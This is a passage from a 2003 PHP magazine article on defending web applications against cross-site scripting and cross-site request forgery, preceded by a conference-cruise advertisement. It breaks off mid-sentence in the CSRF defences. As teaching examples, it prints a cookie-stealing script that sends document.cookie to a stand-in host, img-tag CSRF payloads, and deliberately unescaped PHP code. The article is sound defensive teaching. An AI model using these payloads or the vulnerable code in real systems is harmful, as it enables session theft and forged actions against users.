
Signup now and save $100.00!
Hurry, special offer ends October 31st.
Visit us at www.phparch.com/cruise for more details.
php|Cruise
March 1
st
- March 5
th
2004
Andrei Zmievski - Andrei's Regex Clinic, James Cox - XML for the Masses,Wez Furlong - Extending PHP,
Stuart Herbert - Safe and Advanced Error Handling in PHP5,Peter James - mod_rewrite: From Zero to Hero, George
Schlossnagle - Profiling PHP,Ilia Alshanetsky - Programming Web Services,John Coggeshall - Mastering PDFLib,
Jason Sweat - Data Caching Techniques
<? ?>
We’ve got you covered,
from port to sockets.
Port Canaveral • Coco Cay • Nassau
Plus: Stream socket programming, debugging techniques, writing high-performance code,
data mining, PHP 101, safe and advanced error handling in PHP5, programming smarty,
and much, much more!
In partnership with Zend
Technologies
Zend Studio 3.0 is the
official PHP IDE of
php|cruise

October 2003 ●PHP Architect ●www.phparch.com
Now that we have established that all web appli-
cations are insecure, I will explain how to make
your web applications more secure by describ-
ing two contrasting types of attacks: Cross-Site
Scripting (XSS) and Cross-Site Request Forgeries (CSRF).
My hope is that you will not only learn some specific
strategies for protecting against these types of attacks,
but more importantly, that you will also gain crucial
insight that can help you more clearly understand web
application security in general.
Cross-Site Scripting
As a PHP professional, you have most likely heard of
Cross-Site Scripting (XSS). In fact, you may have already
taken steps to protect your own web applications
against XSS attacks. The effectiveness of such preven-
tive measures relies upon whether these measures
address the problem or merely a symptom, and of
course how well you understand the problem. It is a
common tendency to only address a specific exploit of
a vulnerability in much the same way that we might
resolve a bug using a specific test case. With this strate-
gy, a web developer’s effort is less effective, and there-
fore we want to address the root of the problem when-
ever possible.
The fundamental error that yields XSS vulnerabilities
is trusting foreign data. A general recommendation
among web developers is to never trust client data, but
protecting against XSS requires even more mistrust, as
any foreign data can be dangerous.
What is foreign data exactly? Simply put, foreign data
is anything that your web server sends to the client that
originates from somewhere else. Some examples of for-
eign data include posts on a web forum, email dis-
played by a web mail client, a banner advertisement,
stock quotes provided by an XML feed over HTTP, and
of course client data. For any interesting web applica-
tion, there will be scores of foreign data, and these are
the types of applications that require the most atten-
tion. Of course, the danger is not specifically that you
trust the foreign data, but rather that you assume it is
safe and display it to your users without proper valida-
tion. You are trusted by your users, and XSS attacks
exploit that trust.
To understand why displaying foreign data can be
dangerous, consider a simple registration system where
users provide their preferred username and email
address, and their registration information is emailed to
them once their account is created. The HTML form
that collects this information might be as follows:
<form action=”/register.php” method=”post”>
<p>Username: <input type=”text” name=”reg_username”
/></p>
<p>Email: <input type=”text” name=”reg_email” /></p>
<p><input type=”submit” value=”Register” /></p>
</form>
54
FEA
FEATURE
TURE
Foiling Cross-Site Attacks
by Chris Shiflett
PHP: 4.2+
OS: Any
Applications: N/A
Code: http://code.phparch.com/16/5
Code Directory: xss
REQUIREMENTS
Security is a nebulous topic. Web applications are
often described as being secure or insecure, and
this yields dangerous misconceptions and confu-
sion. Just how secure is a secure web application?
The inference is that ‘secure’ web applications
are 100% secure and invulnerable to any type of
attack. Based on this, we can safely consider
every web application to be insecure.

Figure 1 illustrates how this form appears in a web
browser.
Of course, more important than this form is the script
that receives it. If the data being submitted in the form
is not properly validated, malicious users can insert a
dangerous script or worse, and your only hope is that
the malicious user isn’t very creative in their attack.
Consider that the registration data is stored in a data-
base and that the SQL statement used to store this data
is generated as follows:
What should stand out in this SQL statement is the
use of the
$$__PPOOSSTT
array in its construction. The calls to
addslashes() are only necessary to ensure that the
SQL statement is not mangled by the data itself (it is
assumed that the database being used escapes quotes
with a backslash; modify this example as necessary).
Data in
$$__PPOOSSTT
comes from the client, and this code
demonstrates a blind trust of this data. With legitimate
users, the dangers of this approach remain hidden, and
this is exactly how many web application vulnerabilities
are born. Consider the following username:
<script>alert(‘Oh No!’);</script>
While we can easily determine that this is not a valid
username, it demonstrates how the code that we write
might not be so wise. Without proper validation of the
data being stored, anything can end up in the data-
base. Of course, the danger in the case of XSS is when
this data is displayed to other users.
Let us assume that this registration system has a cor-
responding administrative application that is only
accessible from the local network by authorized admin-
istrators. It is easy to assume that an application inac-
cessible from the Internet is safe, and less effort might
be invested in the security of such an application.
Consider the code in Listing 1 that displays a list of reg-
istered users to authorized administrators:
If the data in the database is not validated prior to
storage, an administrator might be subject to an XSS
attack by using this application. This risk is illustrated in
Figure 2.
This risk is even clearer if you consider a more mali-
cious client-side script such as the following:
<script>
document.location =
‘http://evil.example.org/steal_cookies.php?
cookies=’ + document.cookie
</script>
If this script is displayed to an administrator, the
administrator’s cookies that are associated with the cur-
rent application’s domain are sent to evil.example.org
for possible collection. In this example, the remote
script steal_cookies.php can access these cookies via
$$__GGEETT[[‘‘ccooookkiieess’’]]
. Once captured, these cookies may
if (!get_magic_quotes_gpc())
{
$_POST[‘reg_username’] =
addslashes($_POST[‘reg_username’]);
$_POST[‘reg_email’] =
addslashes($_POST[‘reg_email’]);
}
$sql = “insert into users (username, email)
values (‘{$_POST[‘reg_username’]}’,
‘{$_POST[‘reg_email’]}’)”;
October 2003 ●PHP Architect ●www.phparch.com 55
FFEEAATTUURREESS Foiling Cross-Site Attacks
Figure 1
1<table>
2<tr>
3<th>Username</th>
4<th>Email</th>
5</tr>
6<?
7if ($_SESSION[‘admin_ind’])
8{
9$sql = ‘select username, email from users’;
10 $result = mysql_query($sql);
11 while ($curr_user = mysql_fetch_assoc($result))
12 {
13 echo “\t<tr>\n”;
14 echo “\t\t<td>{$curr_user[‘username’]}</td>\n”;
15 echo “\t\t<td>{$curr_user[‘email’]}</td>\n”;
16 echo “\t</tr>\n”;
17 }
18 }
19 ?>
20 </table>
Listing 1
Figure 2

be used to launch impersonation attacks, obtain sensi-
tive data, and so forth.
Protecting Against XSS
There are a few guidelines that you can follow to help
protect your applications against XSS attacks. Hopefully
you can already predict a few of these.
1. Filter all foreign data
The most important guideline is to filter all foreign data.
If you discover an XSS vulnerability in one of your appli-
cations, it should be due to faulty filtering logic, not due
to a complete lack of filtering logic.
2. Use existing functions
Let PHP help with this; functions like
htmlentities(), strip_tags(), and
utf8_decode() can help you write your filtering
logic. The key is to rely on built-in functions whenever
they are available. For example, if you want to make
sure that HTML entities are properly encoded, it is
much safer to use htmlentities() than to write your
own function that does the same thing. Performance
considerations aside (htmlentities() is also faster),
the built-in function has certainly been reviewed and
tested by more people than your code, and it is far less
likely to contain errors that yield vulnerabilities.
3. Only allow safe content
When writing your filtering logic, only allow content
that you consider safe rather than trying to exclude
content that you consider unsafe. For example, if a user
is supplying a last name, you might start by only allow-
ing alphabetic characters and spaces, as these are quite
safe (of course, you want to also make sure that the
length is sane). While the names Berners-Lee and
O’Reilly are incorrectly rejected, this problem is easily
resolved. A quick change to your filtering logic to also
allow apostrophes and hyphens is all that is needed.
Over time, you can perfect your filtering logic, so that
such errors become a distant memory.
The key is to not fear missing something when trying
to brainstorm for all valid characters and resort to being
too generous in your filtering; it is much worse to allow
a malicious character than to reject a safe one. In addi-
tion, when you err on the side of caution, a quick fix
resolves the problem, and those who encounter the
problem are more likely to let you know. If you create
an XSS vulnerability, the fix is likely to be slow and
painful, and you may not learn of the problem until it is
too late and your application is compromised.
4. Use a strict naming convention
There are many naming conventions that developers
use to identify whether a particular variable contains fil-
tered or unfiltered data. Choose whatever one of these
is most intuitive to you, and use it consistently in all of
your development. Most of these naming conventions
use descriptive terms such as clean and dirty, alluding to
filtered and unfiltered data, respectively (the process of
data filtering is also commonly referred to as cleaning or
scrubbing). Some describe unfiltered data as tainted.
When you employ one of these naming conventions, it
makes it easier for you to keep track of your data. The
most important keys to implementing a naming con-
vention are to only output filtered data and to ensure
that no unfiltered data can be improperly named.
5. Be creative
Armed with a good understanding of the web as well as
your own application, you are the most qualified person
to assess its security and to protect your application and
your users from attack. It is important to be creative and
to try not to make any assumptions about how users
interact with your site. Foreign data can be anything,
and you will soon see that even a legitimate user may
be an unknowing accomplice to an attack. Trust noth-
ing until your data filtering logic approves of it.
Cross-Site Request Forgeries
Cross-Site Request Forgeries (CSRF) are an almost oppo-
site style of attack. Rather than exploiting the trust that
a user has for a web site, they exploit the trust that a
web site has for a user. In the case of the XSS attacks we
just discussed, the user is the victim. In the case of CSRF,
the user is an unknowing accomplice.
Because CSRF involves a forged HTTP request, it is
important to first understand what an HTTP request is.
The web is a client/server environment, and HTTP
(Hypertext Transfer Protocol) is the protocol that web
clients and servers use to communicate. Web clients
(browsers being the most common example) send
HTTP requests to web servers, and those servers return
an HTTP response in reply. A request and its correspon-
ding response make up an HTTP transaction. A basic
example of an HTTP request is as follows:
GET / HTTP/1.1
Host: www.example.org
The URL being requested in this example is
http://www.example.org/. A slightly more realistic
example of a request for this same resource is the fol-
lowing:
GET / HTTP/1.1
Host: www.example.org
User-Agent: Mozilla/1.4
Accept: text/xml, image/png, image/jpeg, image/gif,
*/*
This second example demonstrates the use of two
additional HTTP headers: User-Agent and Accept. The
Host header that is included in both examples is
required in HTTP/1.1. There are many HTTP headers
that may be included in a request, and you might be
October 2003 ●PHP Architect ●www.phparch.com 56
FFEEAATTUURREESS Foiling Cross-Site Attacks

October 2003 ●PHP Architect ●www.phparch.com 57
FFEEAATTUURREESS Foiling Cross-Site Attacks
familiar with referencing these in your code. PHP makes
these available to you in the
$$__SSEERRVVEERR
array, such as
$$__SSEERRVVEERR[[‘‘HHTTTTPP__HHOOSSTT’’]]
,
$$__SSEERRVVEERR[[‘‘HHTTTTPP__UUSSEERR__AAGGEENNTT’’]]
,
and
$$__SSEERRVVEERR[[‘‘HHTTTTPP__AACCCCEEPPTT’’]]
. For the remainder of this
article, optional headers are omitted for brevity in the
examples.
The most common variety of CSRF attacks use the
<img> HTML tag to forge the request. To explain how
this is accomplished, assume that a request for
http://www.example.org/
results in the following HTTP
response:
HTTP/1.1 200 OK
Content-Length: 61
<html>
<img src=”http://www.example.org/image.png” />
</html>
The important aspect of this example is the content
(the HTML). When a browser interprets the HTML with-
in a response, it sends a GET request for each addition-
al resource, such as an image, that it needs in order to
render the page. For example, after interpreting this
response, an additional request similar to the following
is sent for the image:
GET /image.png HTTP/1.1
Host: www.example.org
The most important characteristic of this request is
that it is identical to the first request except for the path
to the resource. This is because requests for images are
no different than requests for any other URL. A resource
is a resource; there is no method for the browser to
notify the web server that it intends to be requesting an
image. Figure 3 illustrates how a CSRF attack abuses this
behavior.
In order to appreciate the danger that this behavior
represents, consider a simple web forum located at
http://forum.example.org/
that uses the following
HTML form to allow users to add a post:
<form action=”/add_post.php”>
<p>Subject: <input type=”text” name=”post_subject”
/></p>
<p>Message: <textarea
name=”post_message”></textarea></p>
<p><input type=”submit” value=”Add Post” /></p>
</form>
Because the method of the form is not specified, a
GET request is sent upon submission, and the form
fields are included as URL variables. If a user enters
“foo” as the subject and “bar” as the message, an HTTP
request similar to the following is sent (assuming that
the session identifier is propagated via a cookie):
GET /add_post.php?post_subject=foo&post_message=bar
HTTP/1.1
Host: forum.example.org
Cookie: PHPSESSID=123456789
If someone wants to forge posts to such a forum, all
they must do is replicate the format of this request and
have it be sent by the victim. While this may not sound
trivial, it unfortunately is. Consider the following <img>
tag:
<img
src=”http://forum.example.org/add_post.php?post_sub-
ject=foo&post_message=bar” />
When a browser requests this image, the HTTP
request looks identical to the above example, including
the cookie for session management. With a simple
change to the URL referenced in this <img> tag, an
attacker can modify the subject and message to be any-
thing he/she desires. All the attacker must do to launch
the attack is have the victim visit a URL that contains
this <img> tag, and the victim posts a message of the
attacker’s choosing on the forum. Because requests for
embedded resources are not likely to be noticed, the
victim may be completely unaware of the attack.
More dangerous types of attacks might forge requests
that purchase items on a web site or perform adminis-
trative functions on a restricted web application.
Consider an intranet application located at
http://192.168.0.1/admin/
that allows authorized users
to terminate employees. Even with a flawless session
management mechanism that is immune to imperson-
ation, combined with the fact that this application can-
not be accessed by users outside of the local network, a
CSRF attack can avoid these safeguards with something
as simple as the following:
<img src=”http://192.168.0.1/admin/terminate_employ-
ee.php?employee_id=123” />
Figure 4 illustrates this particular type of CSRF attack
and how it can be used to penetrate an otherwise
secure local network.
The most challenging characteristic of CSRF attacks is
that the legitimate user is essentially making the
request. Thus, regardless of how perfect the user iden-
tification and/or session management mechanism is, a
CSRF attack can still be successful. Also, because it is
unrealistic to rely on other web sites to not allow such
<<iimmgg>>
tags (especially since the attacker could coerce
the victim into visiting the attacker’s own web site), the
problem must be addressed on the receiving site.
Protecting Against CSRF
Protecting your applications against CSRF attacks is
more challenging than protecting them against XSS
attacks. However, there are a few guidelines that you
can follow to mitigate the risk of a successful attack.
1. Use POST in forms
Because requests for embedded resources are made
using the GET request method, one way to distinguish
the legitimate HTTP requests from those forged using
the <img> tag method of forgery is to use POST as the